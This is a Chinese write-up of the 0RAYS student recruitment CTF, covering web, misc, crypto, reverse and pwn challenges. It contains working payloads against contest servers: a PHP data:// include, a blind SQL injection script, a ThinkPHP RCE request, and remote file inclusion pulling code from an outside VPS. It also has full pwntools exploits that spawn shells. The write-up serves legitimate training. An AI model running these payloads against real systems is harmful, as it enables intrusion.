0RAYS招新赛官方Wrtieup

 

主要面向新生的招新赛,谁不喜欢简单题呢。
地址: http://42.192.92.41:8080/

 

Web

Whiskey’s House 2.0

门前银杏又新叶,当年后会已无期
http://121.4.46.58:10001/

看似是简单的任意文件读取,其实是简单的命令执行。
直接读取/flag会返回假的flag,这就是打AWD时的痛苦叭。

访问/robots.txt发现存在1.php和waf.php

http://121.4.46.58:10001/index.php?action=1.php

phpinfo中发现ban了几乎所有危险函数,但开启了远程文件包含。

一般会尝试直接在服务器上放一个写了马的txt文件来打,但是其实是waf.php中把这个方法ban了。

最后能发现data协议还是可以用的,这里直接base64加密绕过,结果其他师傅都是直接用单引号绕了。

http://121.4.46.58:10001/index.php?action=data://text/plain;base64,PD9waHAgdmFyX2R1bXAoZmlsZV9nZXRfY29udGVudHMoIi9mbGFnIikpOyA/Pgd

[真]·铜墙·[超凡]·铁壁

最伟大的黑客只喜欢最朴素的防护
http://121.4.46.58:10002/

全场就一个登录框,但是点击没反应,不管是F12看network还是抓包,都能发现这个登陆框是没有发包的。有一说一,这个前端就是杭电的统一身份认证系统。

查看源码,发现它是向index.php页面POST过去了un和pd参数,所以在Bp里构造一个POST包发过去。

<form id="loginForm" class="login_form" action="/index.php" method="post">
<input type="text" class="login_box_input" style="margin-top: 30px" placeholder="帐号" id="un" name="un">
<input type="password" class="login_box_input" placeholder="密码" id="pd" name="pd">

un不是admin的时候提示”账号错误”,其他时候是”密码错误”,所以爆破一下,密码是000000

web_sign_in

http://123.57.145.88:10002/?source[]=<?php readfile("/flag");?>

file_put_contents会读入数组。但是preg_match并不会检测数组。

御坂御坂

先做好信息收集

robots.txt里有个登录界面

index.php.bak里告诉了注入路径和注入点

注入有多种方法:


方法一 联合注入

没有任何防护,直接联合注入


方法二 盲注

输入1和输入2的回显不同,可以直接盲注,比较无脑

# -*- coding: utf-8 -*-
# 布尔盲注
import requests
url = 'http://81.70.167.219:8008/inject/for_the_first_step_to_inject_me.php'
s = ''
# ev="(select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA)"
# ev="(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='cbctf')"
# ev="(select GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='user' and table_schema='cbctf')"
# ev="(select username FROM user)"
ev="(select password FROM user)"
# ev="(select database())"
for i in range(1,30000):  # 这个地方可能会有些问题,数据库长度未知的时候过长会出现重复字母到时候自行删除即可
    min = 8
    max = 126
    while abs(max - min) > 1:
        mid = (max + min) // 2
        parms = {
            'id': f"1' and if(ascii(mid({ev},{str(i)},1))>{str(mid)},1,0);#"
        }
        r = requests.get(url=url, params=parms)
        if 'yousa' in r.text:
            # print(r.text)
            # print(chr(i),"true")
            min = mid
        else:
            max = mid
    s += chr(max)
    print(s)

方法三 sqlmap

登录进去以后注释发现了第二关入口

常见反序列化字符串逃逸 套路和UNCTF2020 easyserilaze 相同

http://81.70.167.219:8008/serialize_me_to_get_the_second_step.php?1=hosthosthosthosthosthosthosthosthosthosthost%22;s:8:%22password%22;s:7:%22whiskey%22;}1

得到下一关入口the_last_step_RCE_me_to_get_flag.php

view-source:http://81.70.167.219:8008/the_last_step_RCE_me_to_get_flag.php?action=php://filter/read=string.rot13/resource=the_last_step_RCE_me_to_get_flag.php

读到源码和h1nt.php

<?php
$flag="flag{7his_is_@_f4ke_f1a9}";
//RFI to get flag!

提示要远程文件包含
自己vps上写

#1.txt
<?php
readfile('/flag');
?>

然后远程文件包含

http://81.70.167.219:8008/the_last_step_RCE_me_to_get_flag.php?action=http://47.97.123.81:10001/1.txt

So_so_eAsy_node_js

考点:js弱类型绕过+js原型链污染

{"__proto__": {"PTT0": 1}}
{"wendell":"1","whiskey":[1]}

推荐看一下P牛的文章
https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html

弱类型部分取自

http://wh1sper.cn/npuctf2020_wp/NPUCTF2020的验证?

注意是json格式的数据,先污染原型链,再读取flag

平平无奇thinkphp

tp5.0 有两个rce的点,一个是未开启强制路由,获取的控制器时没有校验导致任意方法调用,还有一个就是这个request,method那里任意方法调用,调_construct变量覆盖导致rce,

这个题是当时网鼎杯的faka那个题的我们的一个非预期,觉得绕过思路还是很有意思的,所以出出来,

题目开启了强制路由,所以思路是调_construct变量覆盖然后进行rce,

这个利用链最后执行的点是在这里

  private function filterValue(&$value, $key, $filters)
            if (is_callable($filter)) {
// 调用函数或者方法过滤
if(strpos($filter,'_')|| strpos($filter,'\\')!==false){
exit(0);
}
$value = call_user_func($filter, $value);
                _construct

system这种直接执行命令的函数没了,因为是php7.2assert也不能用,但是是之间读/flag,可以考虑用readfile
然而在route.php有一个设置

    '__domain__' =>[
        '*' => '******'
    ]

当thinkphp有这个设置时,会在框架执行时,调用

获取http头的Host

导致我们readfile的payload打过去报错

所以可以考虑把报错关了或者利用函数执行链把这个绕过去,或者之间找其他命令执行的思路

这里还ban了_和\ ,所以thinkphp内置的一些类方法不能用

开始考虑过无参数rce ,但是ban了_ ,session_id,不能用,getallheader 因为有一个传参,也不行

直接读文件,又需要用到数组的方法,没有_也不行

最后想到hex2bin

最后paylaod

POST / HTTP/1.1
Host: 2f666c6167
Content-Length: 123
Content-Type: application/x-www-form-urlencoded
Connection: close

_method=__construct&method=GET&filter%5B0%5D=hex2bin&filter%5B1%5D=readfile&filter%5B2%5D=error_reporting&get[0]=2f666c6167

其他解-来自学弟Yang_99

http://ip/index.php?s=/flag
_method=__construct&filter[]=readfile&method=get&server[REQUEST_METHOD]=-1

虽然fuzz也可以找到这种解法,但是看源码这里也是很巧妙的,

在这个地方,先判断了sever是否为空,然后因为上面的payload变量覆盖给server覆盖了值,所以并没把真正的server穿进去,导致host的那个限制没了,直接任意命令执行就好

最后

因为是新生赛,也没有很严格的去测题,本这有能力调源码的新生,出一下简单的非预期也没啥的想法,所以题目问题可能挺多的,感谢尖尖和学弟们在出题中对我的帮助.

 

Misc

test your nc

签到题,echo读文件

bash
for line in $(<flag); do echo $line; done

我要成为神奇宝贝带师

游戏题,别的题做自闭了可以来玩玩。。根据剧情,每个城镇地上都有flag。但是通关发现少两个字母,只能寻找地图编辑器。

套路和新生培训上讲的PTT0历险记一样,寻找地图编辑器Advance Map

flag flag{I_Love_Pok4Mon!}

who is killer

从黄道十二宫杀手密码里得到的出题灵感,由于是新生赛,所以只选用了其中很小的一部分加密方式,Z-340的第一部分。

下载附件能得到一个描述事故的小故事,foremost一下可以得到另一张图片,是一个密文。

然后将原图的高度修改一下可以发现提示:Z-340

百度谷歌搜索一下即可搜索到加密方式

将图片上的密文按照Z-340第一部分的解密方式进行解密,即可得到flag。个别文章里误将右写成了左,但看后面得到的第二个字符 “+”就能发现这个错误,并不影响做题。手撸很快,写脚本也是几行就能写完,前前后后都是秒。

解码得到:

helloboysandgirlsiamzodicakillercongratulationonfindmethisisyourflagzpggisthefinallybigboss

verylow

下载附件得到1.64MB的txt,将里面的数据base64解码后即可发现头文件为504B0304,hex解码一下保存为zip压缩包

zip压缩包内有一个名为 “woshishui” 的文件。直接看发现不了是什么文件,对全文件反转后即可看到头为42 4D 86 94,42 4D是bmp的头文件。将后缀名改为bmp得到一张智乃图。

然后在根据题目名verylow,可知SilentEye中bmp的解码方式里也有一个verylow。利用SilentEye解码一下即可得到flag

IC

基本上是之江杯的原题,出题时有想改难一点,后来感觉新生赛还是简单点算了,所以题目形式没有改变。

基础知识:

最普通的ic卡有16个扇区(0-15),每个扇区又分为4个区域块(0-63), 每个扇区都有独立的一对密码keyA和keyB负责控制对每个扇区数据的读写操作,keyA和keyB分布在每个扇区的第四块中。第0扇区的第一个数据块,存储着IC卡的UID号,其他扇区可以存储其他的数据,如钱等数据。

题目给的文件就是ic卡内的数据,两个文件对比一下,先看差异部分

题目描述中有写到“去刷了点钱”,所以两个dump文件应该差别就是金额,

分析后发现第一个黑色块和第三个数值是相同的,实际上就是存的金额,这里需要稍微查阅些资料或者经验,金额再ic卡中一般是以分为单位,小端序存储,图示2.dump数据为8c6e,转换成0x6e8c,28300,也就是283元

第二个黑色块数值其实是第一个黑色块数据的取反,8c6e取反为7391,这里一般是为了校验用(这也不是为了出题而这样搞的,真实情况中有些卡确实是这样)

然后看后面的扇区,大概长这样,可以发现,每个扇区的中间两行的红色框内数据都是可见字符

同理按照上面的金额的校验方法,将第二个框内数据取反试试

这样就能拼出一串有意义的字符串,套上flag就可以交了

flag{Y0u_hAcK@d_H6Us_Sy5tEm}

 

Crypto

大魔术师

首先抽象出加密函数f(x)=(2*x)%(n+1),然后计算e满足2^e = 1 mod (n+1),则一叠牌经过e次完美洗牌后就回到初始状态,写脚本得到e为52,已知40轮,求20轮,即再完美洗牌32次即可。这是一种方法,还有就是直接推求逆的数学公式,再深入理解这其实就是一个每组26字符的栅栏等等方式。

flag{35d73abcef21bb077283935c1ab55934}

basyrsa

最普通的rabin加密,原理自行百度吧,这里贴个脚本(看完wp,发现直接开方也能算出来,这波大意了)

import libnum
p = 11280195800394225193201977641506157206608546800756730825026418522628916734453311331854240893900011916056123879466172351401470888808200188211697798357342263
q = 13229100349591006754778266002884819502644686669813280840875988877044447789130265216132199634629189890802879160736498897340285594766696908509366479982182343
c = 341913879069205774345768114562560148138987307198678420462424933583566794987937404568141118273289
n = p*q
c_p = pow(c,(p+1)//4,p)
c_q = pow(c,(q+1)//4,q)
a = libnum.invmod(p,q)
b = libnum.invmod(q,p)
x = (b*q*c_p+a*p*c_q)%n
y = (b*q*c_p-a*p*c_q)%n
print(libnum.n2s(x))
print(libnum.n2s(n-x))
print(libnum.n2s(y))
print(libnum.n2s(n-y)
#flag{happy_RSA_Yes!}

旋转的栅栏

普通的栅栏密码,每组字数为题目长度5,解密得到ThIsiuArEs0tIgtYaeRHgAlFe,然后是旋转部分,这里有5组字符,每组都顺时针旋转90度,然后看第一列ThIsi,i右边就是s,螺旋读法即可得到flag,最后一个小坑的点是大家把全部都当作flag了,后来给了hint,长度是12,这里就知道只要后面部分就可以了。

flag{Y0uArEgReatI}

PH

这一题后面没啥难度,主要是解决dlp获取e,但是看来32bit还是不太够嗷,这都有人爆的么,下次给40好了。

直接discrete_log显然不能,毕竟这个模数也是有个1055bit。

这题的切入点在这个模数的欧拉函数有小因子,所以这个模数也不太安全,现实中也不能找这种模数。然后就是,既然这个模数的欧拉函数有小因子,所以我们可以在这个有限域下找到低阶点,这个低阶点生成的群也会比较小,有利于我们利用pohlig-hellman算法的运行。

q = 233392563532105999607423620368931214904072311714576514222950769231204102623776840457609495331011660358508862046019693547137964599332333055794151027358316052815030805966766472008838394272766891210093842456718560135479924990525541617498137895477632364666282455836784548753828786245146794833789171868710010890890285183379
_q = 2300559127080509418101246740803503260975099720611107269949693701279612305012860539899590368335303755902827458402056863084141772508660803009999015308002482556719614300928787407970913012401663405177852576228102477230217706363121002418447575348847720868994294182764330391765488336969829346974027*2614560217771*197*41*2  #对其欧拉函数的因式分解(首先在factordb上分解,会得到……*2402010421*197*41*2,之后用yafu分解……,可以得到……*2614560217771),这里的_q少了2402010421,当然也可以舍弃2614560217771
c = 209929619209223227100804857883327058984648875565507682178639193457442349287030908449187317533904186593660202039227268975844770698909315785471771813740947367107553812757662800502639937265182452862017635149031667839016569911207130249868565142369583479265824569229114754576632782191430664095651208896183018760539058673162
#生成一对等价于c和m的cc和mm,但是他们的阶比较小,就是前面因式分解中少了的大约40bit的那一个值,要是不懂可以询问群里的端茶倒水
cc = pow(c,_q,q)
m = 619940436950888188753194007026217521
mm = pow(m,_q,q)

cc = mod(cc,q)
mm = mod(mm,q)
discrete_log(cc,mm) #再调用sage现成的函数

后面的步骤就不多说了,原本都想把flag设成md5(e)的,但是又怕选手e解出来了,flag提交不对,省得麻烦,就随便加了一点。

 

Re

进击的Python

python的反编译,网上的在线反编译出不来,只能通过pip安装个库来实现

pip install uncompyle6

安装即可
然后输入命令

uncompyle6 topic.pyc > main.py

就可以看到python的源代码了
思路是先将flag base64加密然后异或,最后的脚本如下:

from base64 import *
des = "617a0e12131f6d54243f1409095549120e5540230202360f0d2022346a682a120f3f3403326e08520d20220e251d6339"
b = bytes.fromhex(des)
#print(b)
b = b[::-1]
li = list(b)
change =''
for i in range(1,len(b)):
li[i] = li[i] ^ li[i-1]
change += chr(li[i])
#print(change)
change = change[::-1]
change += chr(b[0])
change = change.encode()
flag = b64decode(change)
print(flag.decode())
#CBCTF{plez_in_reverse_find_yourself}

ELF

简单的位运算

加密算法和解密算法是一样的

f1=[0x36,0x38,0x34,0x31,0x3e,0x1b,0x11,0x14,0x19,0x14,0x1e,0x11,0x19,0x1b,0x1c,0x1a,0x12,0x11,0x1c,0x1c,0x1a,0x19]
f2=[0x7e,0x29,0xe8,0xdd,0x76,0x22,0x9c,0xe8,0xd8,0xda,0x77,0x74,0xd5,0x20,0x7f,0x2f,0x5a,0x74,0x13,0x57,0x7a,0x33]

key1 = "ajsdiaafneifnkdnfaeeon"
key2 = "femfnfwoifmnekfnkowfnf"

k=[]
for i,j in zip(f2,key2):
    i ^= ord(j)
    k.append(i)

l=[]
flag2=[]
k.reverse()
for a,b in zip(f1,k):
    a = (a & 0x55) ^ ((b & 0xaa) >>1) | a & 0xaa
    b = 2 * (a & 0x55) ^ b & 0xaa | b & 0x55
    a = a & 0x55 ^ ((b & 0xaa) >>1) | a & 0xaa
    l.append(a)
    flag2.append(b)

flag1=[]
for i,j in zip(l,key1):
    i ^= ord(j)
    flag1.append(i)


print [chr(i) for i in flag1]
print [chr(i) for i in flag2]

void SMC

一个最基础的SMC实现。SMC即“自解密代码“,指通过修改代码或数据,阻止别人直接静态分析,然后在动态运行程序时对代码进行解密,达到程序正常运行的效果,而计算机病毒通常也会采用SMC技术动态修改内存中的可执行代码来达到变形或对代码加密的目的,从而躲过杀毒软件的查杀或者迷惑反病毒工作者对代码进行分析。—来自看雪论坛。程序把验证flag的关键逻辑加密后放在了.void段里,然后在运行的时候把验证函数解密,并且验证,对于这种题目,比较好的方式是动态调试,断在适当的位置,然后把解密后的函数汇编代码复制出来到IDA中,再静态分析。不过因为此题比较简单,所以可以在IDA中直接操作。首先通过字符串定位到程序main函数。

int sub_401150()
{
  int v1; // [esp+0h] [ebp-8h]
  _BYTE *i; // [esp+4h] [ebp-4h]
  v1 = sub_409293(256);
  sub_402030(v1, 0, 256);
  sub_401100();
  sub_4010C0("%s", v1);
  for ( i = &loc_417000; (unsigned __int8)*i != 195; ++i )
    *i ^= 0x66u;
  if ( ((int (__cdecl *)(int))loc_417000)(v1) )
    sub_401050("correct!", v1);
  else
    sub_401050("wrong flag,please try again", v1);
  return 0;
}

第11行对函数内每个字节异或0x66,根据异或的性质,我们异或回去即可。
IDA Python脚本

addr = 0x417000
while(Byte(addr)!=195):
  PatchByte(addr,Byte(addr)^0x66)
  addr+=1

解密后选中整个函数按c键生成代码,再按p键生成函数,就可以用F5查看逻辑了。

signed int __cdecl sub_417000(const char *a1)
{
  char v2; // [esp+0h] [ebp-44h]
  char v3; // [esp+1h] [ebp-43h]
  char v4; // [esp+2h] [ebp-42h]
  char v5; // [esp+3h] [ebp-41h]
  char v6; // [esp+4h] [ebp-40h]
  char v7; // [esp+5h] [ebp-3Fh]
  char v8; // [esp+6h] [ebp-3Eh]
  char v9; // [esp+7h] [ebp-3Dh]
  char v10; // [esp+8h] [ebp-3Ch]
  char v11; // [esp+9h] [ebp-3Bh]
  char v12; // [esp+Ah] [ebp-3Ah]
  char v13; // [esp+Bh] [ebp-39h]
  char v14; // [esp+Ch] [ebp-38h]
  char v15; // [esp+Dh] [ebp-37h]
  char v16; // [esp+Eh] [ebp-36h]
  char v17; // [esp+Fh] [ebp-35h]
  char v18; // [esp+10h] [ebp-34h]
  char v19; // [esp+11h] [ebp-33h]
  char v20; // [esp+12h] [ebp-32h]
  char v21; // [esp+13h] [ebp-31h]
  char v22; // [esp+14h] [ebp-30h]
  char v23; // [esp+15h] [ebp-2Fh]
  char v24; // [esp+16h] [ebp-2Eh]
  char v25; // [esp+17h] [ebp-2Dh]
  char v26; // [esp+18h] [ebp-2Ch]
  char v27; // [esp+19h] [ebp-2Bh]
  char v28; // [esp+1Ah] [ebp-2Ah]
  char v29; // [esp+1Bh] [ebp-29h]
  char v30; // [esp+1Ch] [ebp-28h]
  char v31; // [esp+1Dh] [ebp-27h]
  char v32; // [esp+1Eh] [ebp-26h]
  int v33; // [esp+20h] [ebp-24h]
  char *v34; // [esp+24h] [ebp-20h]
  unsigned int v35; // [esp+28h] [ebp-1Ch]
  const char *v36; // [esp+2Ch] [ebp-18h]
  int v37; // [esp+30h] [ebp-14h]
  const char *v38; // [esp+34h] [ebp-10h]
  unsigned int v39; // [esp+38h] [ebp-Ch]
  int i; // [esp+3Ch] [ebp-8h]
  if ( !a1 )
    return 0;
  v36 = a1 + 1;
  v39 = (unsigned int)&a1[strlen(a1) + 1];
  v35 = v39 - (_DWORD)(a1 + 1);
  v37 = v39 - (_DWORD)(a1 + 1);
  if ( v39 - (_DWORD)(a1 + 1) != 31 )
    return 0;
  v2 = 53;
  v3 = 45;
  v4 = 42;
  v5 = 48;
  v6 = 25;
  v7 = 12;
  v8 = 36;
  v9 = 90;
  v10 = 7;
  v11 = 10;
  v12 = 0;
  v13 = 52;
  v14 = 36;
  v15 = 49;
  v16 = 51;
  v17 = 46;
  v18 = 19;
  v19 = 27;
  v20 = 1;
  v21 = 49;
  v22 = 35;
  v23 = 26;
  v24 = 4;
  v25 = 94;
  v26 = 15;
  v27 = 22;
  v28 = 54;
  v29 = 68;
  v30 = 15;
  v31 = 10;
  v32 = 9;
  for ( i = 0; i < v37; ++i )
  {
    v38 = aVoidWantsGirlf;
    v34 = &aVoidWantsGirlf[1];
    v38 += strlen(v38);
    v33 = ++v38 - &aVoidWantsGirlf[1];
    if ( (aVoidWantsGirlf[i % (unsigned int)(v38 - &aVoidWantsGirlf[1])] ^ a1[i]) != *(&v2 + i) )
      return 0;
  }
  return 1;
}

最后的脚本

cipher = [53, 45, 42, 48, 25, 12, 36, 90, 7, 10, 0, 52, 36, 49, 51, 46, 19, 27, 1, 49, 35, 26, 4, 94, 15, 22, 54, 68, 15, 10, 9]
key = "void_wants_girlfriends"
flag=""
for i in range(len(cipher)):
    flag+=str(chr(ord(key[i%len(key)])^cipher[i]))
print(flag)

打码平台

题目是html和js,打开html后可以得知如果在60秒内能完成输入60张正确的验证码就可以得到flag,但验证码是6位中英文混合,所以手工基本不可能完成。题目给了两个js,打开ext.js,发现做了很严重的混淆,基本不可读,另一个叫captcha-mini-min.js,打开看发现做了代码的压缩,根据名字和压缩特征,可以知道这是一个验证码库的js文件,该库没有使用webpack这一类压缩,所以直接格式化一下代码就可以看到逻辑。

function Captcha(params = {}) {
    let middleParams = Object.assign({
        lineWidth: 0.5,
        lineNum: 2,
        dotR: 1,
        dotNum: 15,
        preGroundColor: [10, 80],
        backGroundColor: [150, 250],
        fontSize: 20,
        fontFamily: ['Georgia', '微软雅黑', 'Helvetica', 'Arial'],
        fontStyle: 'fill',
        content: 'acdefhijkmnpwxyABCDEFGHJKMNPQWXY12345789',
        length: 4
    },
    params);
    Object.keys(middleParams).forEach(item = >{
        this[item] = middleParams[item]
    });
    this.canvas = null;
    this.paint = null
};
Captcha.prototype.getRandom = function(...arr) {
    arr.sort((a, b) = >a - b);
    return Math.floor(Math.random() * (arr[1] - arr[0]) + arr[0])
};
Captcha.prototype.getColor = function(arr) {
    let colors = new Array(3).fill('');
    colors = colors.map(item = >this.getRandom(...arr));
    return colors
};
Captcha.prototype.getText = function() {
    let length = this.content.length;
    let str = '';
    for (let i = 0; i < this.length; i++) {
        str += this.content[this.getRandom(0, length)]
    }
    return str
};
Captcha.prototype.line = function() {
    for (let i = 0; i < this.lineNum; i++) {
        let x = this.getRandom(0, this.canvas.width);
        let y = this.getRandom(0, this.canvas.height);
        let endX = this.getRandom(0, this.canvas.width);
        let endY = this.getRandom(0, this.canvas.height);
        this.paint.beginPath();
        this.paint.lineWidth = this.lineWidth;
        let colors = this.getColor(this.preGroundColor);
        this.paint.strokeStyle = 'rgba(' + colors[0] + ',' + colors[1] + ',' + colors[2] + ',' + '0.8)';
        this.paint.moveTo(x, y);
        this.paint.lineTo(endX, endY);
        this.paint.closePath();
        this.paint.stroke()
    }
};
Captcha.prototype.circle = function() {
    for (let i = 0; i < this.dotNum; i++) {
        let x = this.getRandom(0, this.canvas.width);
        let y = this.getRandom(0, this.canvas.height);
        this.paint.beginPath();
        this.paint.arc(x, y, this.dotR, 0, Math.PI * 2, false);
        this.paint.closePath();
        let colors = this.getColor(this.preGroundColor);
        this.paint.fillStyle = 'rgba(' + colors[0] + ',' + colors[1] + ',' + colors[2] + ',' + '0.8)';
        this.paint.fill()
    }
};
Captcha.prototype.font = function() {
    let str = this.getText();
    this.callback(str);
    this.paint.font = this.fontSize + 'px ' + this.fontFamily[this.getRandom(0, this.fontFamily.length)];
    this.paint.textBaseline = 'middle';
    let fontStyle = this.fontStyle + 'Text';
    let colorStyle = this.fontStyle + 'Style';
    for (let i = 0; i < this.length; i++) {
        let fontWidth = this.paint.measureText(str[i]).width;
        let x = this.getRandom(this.canvas.width / this.length * i + 0.2 * fontWidth, (this.canvas.width / this.length) * i + 0.5 * fontWidth);
        let deg = this.getRandom( - 6, 6);
        let colors = this.getColor(this.preGroundColor);
        this.paint[colorStyle] = 'rgba(' + colors[0] + ',' + colors[1] + ',' + colors[2] + ',' + '0.8)';
        this.paint.save();
        this.paint.rotate(deg * Math.PI / 180);
        this.paint[fontStyle](str[i], x, this.canvas.height / 2);
        this.paint.restore()
    }
};
Captcha.prototype.draw = function(dom, callback = function() {}) {
    if (!this.paint) {
        this.canvas = dom;
        if (!this.canvas) return;
        else this.paint = this.canvas.getContext('2d');
        this.callback = callback;
        this.canvas.onclick = () = >{
            this.drawAgain()
        }
    }
    let colors = this.getColor(this.backGroundColor);
    this.paint.fillStyle = 'rgba(' + colors[0] + ',' + colors[1] + ',' + colors[2] + ',' + '0.8)';
    this.paint.fillRect(0, 0, this.canvas.width, this.canvas.height);
    this.circle();
    this.line();
    this.font()
};
Captcha.prototype.clear = function() {
    this.paint.clearRect(0, 0, this.canvas.width, this.canvas.height)
};
Captcha.prototype.drawAgain = function() {
    this.clear();
    this.draw(this.callback)
};
if (typeof module !== 'undefined' && !module.nodeType && module.exports) {
    module.exports = Captcha
}

应该从哪里入手呢,这里可以根据经验猜测主要逻辑,但对新手来说应该有更有说服力的方法。因为这是一个js库,我们可以选取里面特征的函数代码去github上搜索,比如Captcha.prototype.draw,Captcha.prototype.getColor这些,我选取的是86行的Captcha.prototype.draw,搜索到了四十五个结果,我们随便进入一个项目,在项目代码中搜索”draw“(eghttps://github.com/1124093245csngdz/erjieduan/search?q=draw),或者”captcha“这些关键字,在(https://github.com/1124093245csngdz/erjieduan/blob/ac2327bbd4d049d525022c71157a450026fdd1f9/client/js/register.js)中可以看见调用方法。我们就知道了,验证码的绘制是draw函数完成的,而验证码的内容是通过一个回调函数返回的,那我们就要找出是谁用了这个回调函数。
91行,把callback赋值给了this.callback。然后在this.font()中调用,69行,把验证码内容的字符串传入callback,而这个字符串来源于68行的getText方法。所以,把getText函数的代码修改成return “”;返回一个空字符串,就可以使验证码的内容恒为空。即可在60秒内完成任务。

 

PWN

pie

泄露canary和返回地址,任意地址读从libc里找到程序地址,计算程序基地址,覆盖返回地址执行后门函数

忘了禁用one_gadget导致可以直接one_gadget一把梭or2

exp:

#!/usr/bin/python

from pwn import *
import sys

context.log_level = 'debug'
context.arch='amd64'

local=0
binary_name='pie'
libc_name='libc.so.6'

libc=ELF("./"+libc_name)
e=ELF("./"+binary_name)

if local:
    p=process("./"+binary_name)
else:
    p=remote('120.26.174.140',10003)

def z(a=''):
    if local:
        gdb.attach(p,a)
        if a=='':
            raw_input
    else:
        pass

rc=lambda x:p.recv(x)
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()

def leak_address():
    if(context.arch=='i386'):
        return u32(p.recv(4))
    else :
        return u64(p.recv(6).ljust(8,b'\x00'))

sla("name?",b'a'*0x18)
ru('\x0a')
ru('\x0a')
canary=u64(p.recv(7).rjust(8,b'\x00'))
print(hex(canary))

sla("from?","b"*0x27)
ru('\x0a')
ru('\x0a')
libc_start_main = leak_address()
print(hex(libc_start_main))

sla("know?",p64(libc_start_main+0x3c9219-0x60))
ru('\x0a')
base = leak_address()-0x202040
print(hex(base))
hackme = base+0x9aa

sa('(yes/no)',b'no\x00\x00'+p32(0)+p64(0)*2+p64(canary)+p64(0)+p64(hackme))


ia()

PTT0的记账本

没有限制负数索引,由于bss上面就是got,show泄露libc地址,add改got表

这里改了free函数为system,free释放name为”/bin/sh\x00”的堆块即调用system(“/bin/sh”)

exp:

#!/usr/bin/python

from pwn import *
import sys

context.log_level = 'debug'
context.arch='amd64'

local=0
binary_name='book'
libc_name='libc.so.6'

libc=ELF("./"+libc_name)
e=ELF("./"+binary_name)

if local:
    p=process("./"+binary_name)
else:
    p=remote('120.26.174.140',10001)

def z(a=''):
    if local:
        gdb.attach(p,a)
        if a=='':
            raw_input
    else:
        pass

ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()

def leak_address():
    if(context.arch=='i386'):
        return u32(p.recv(4))
    else :
        return u64(p.recv(6).ljust(8,b'\x00'))

def cho(i):
    sla('>> ',str(i))

cho(3)
sla('index:','-6')
ru('time: ')
libc_addr1 = int(ru('\x0a')[:-1])
ru('deadline: ')
libc_addr2 = int(ru('\x0a')[:-1]) << 32
print (hex(libc_addr1))
print (hex(libc_addr2))
#setbuf

libc_base = libc_addr2 + libc_addr1 - 0x88540 - 0x60
print hex(libc_base)

system = libc_base+libc.sym['system']
puts = libc_base+libc.sym['puts']
print('system:'+hex(system))
print('puts:'+hex(puts))

system1 = system & 0xFFFFFFFF
system2 = (system & 0xFFFF00000000) >> 32
print(hex(system1))
print(hex(system2))
puts1 = puts & 0xFFFFFFFF
puts2 = (puts & 0xFFFF00000000) >> 32
print(hex(puts1))
print(hex(puts2))

cho(1)
sla('index:','1')
sla('time:','1')
sla('deadline:','1')
sla('money:','1')
sla('interest:','1')
sla('name:','/bin/sh\x00')

cho(1)
sla('index:','-7')
sla('time:',str(system1))
sla('deadline:',str(system2))
sla('money:',str(puts1))
sla('interest:',str(puts2))
sla('name:','x')

cho(2)
sla('index:','1')


ia()

easystack

scanf读入时没有使用&,且两个连续调用的函数在同一个位置开栈,所以可以控制栈上的值,使用scanf向任意地址写

exp:

from pwn import *
context(log_level='debug',arch='amd64')
local=1
binary_name='easystack'
if local:
    p=process("./"+binary_name)
    e=ELF("./"+binary_name)
    libc=e.libc
else:
    p=remote('node3.buuoj.cn',25985)
    e=ELF("./"+binary_name)
    libc=ELF("libc-2.27.so")
def z(a=''):
    if local:
        gdb.attach(p,a)
        if a=='':
            raw_input
    else:
        pass
ru=lambda x:p.recvuntil(x)
rc=lambda x:p.recv(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda : p.interactive()
shell=0x601054
ru("Welcome,what's your name?\n")
payload='a'*(0x70-0x34)+p64(shell)
sl(payload)
ru("Are you a pwner,weber or else?\n")
sl('a')
ru("DO YOU WANT TO JOIN 0RAYS?[1/0]\n")
sl(str(0xffff))
ia()

QAQ

由于出题人太懒直接从平台拿的0解题

ida的f5看不到真正的程序逻辑,汇编看关键跳转,只要绕过strcmp和一个字节比较就可以了

from pwn import *
context(arch = 'amd64', os = 'linux',log_level = 'debug')
p=process('./QAQ')
pd = b'\x00'*20
pd += b'a'*0x34+b'\x1b'
p.send(pd)
p.interactive()
(完)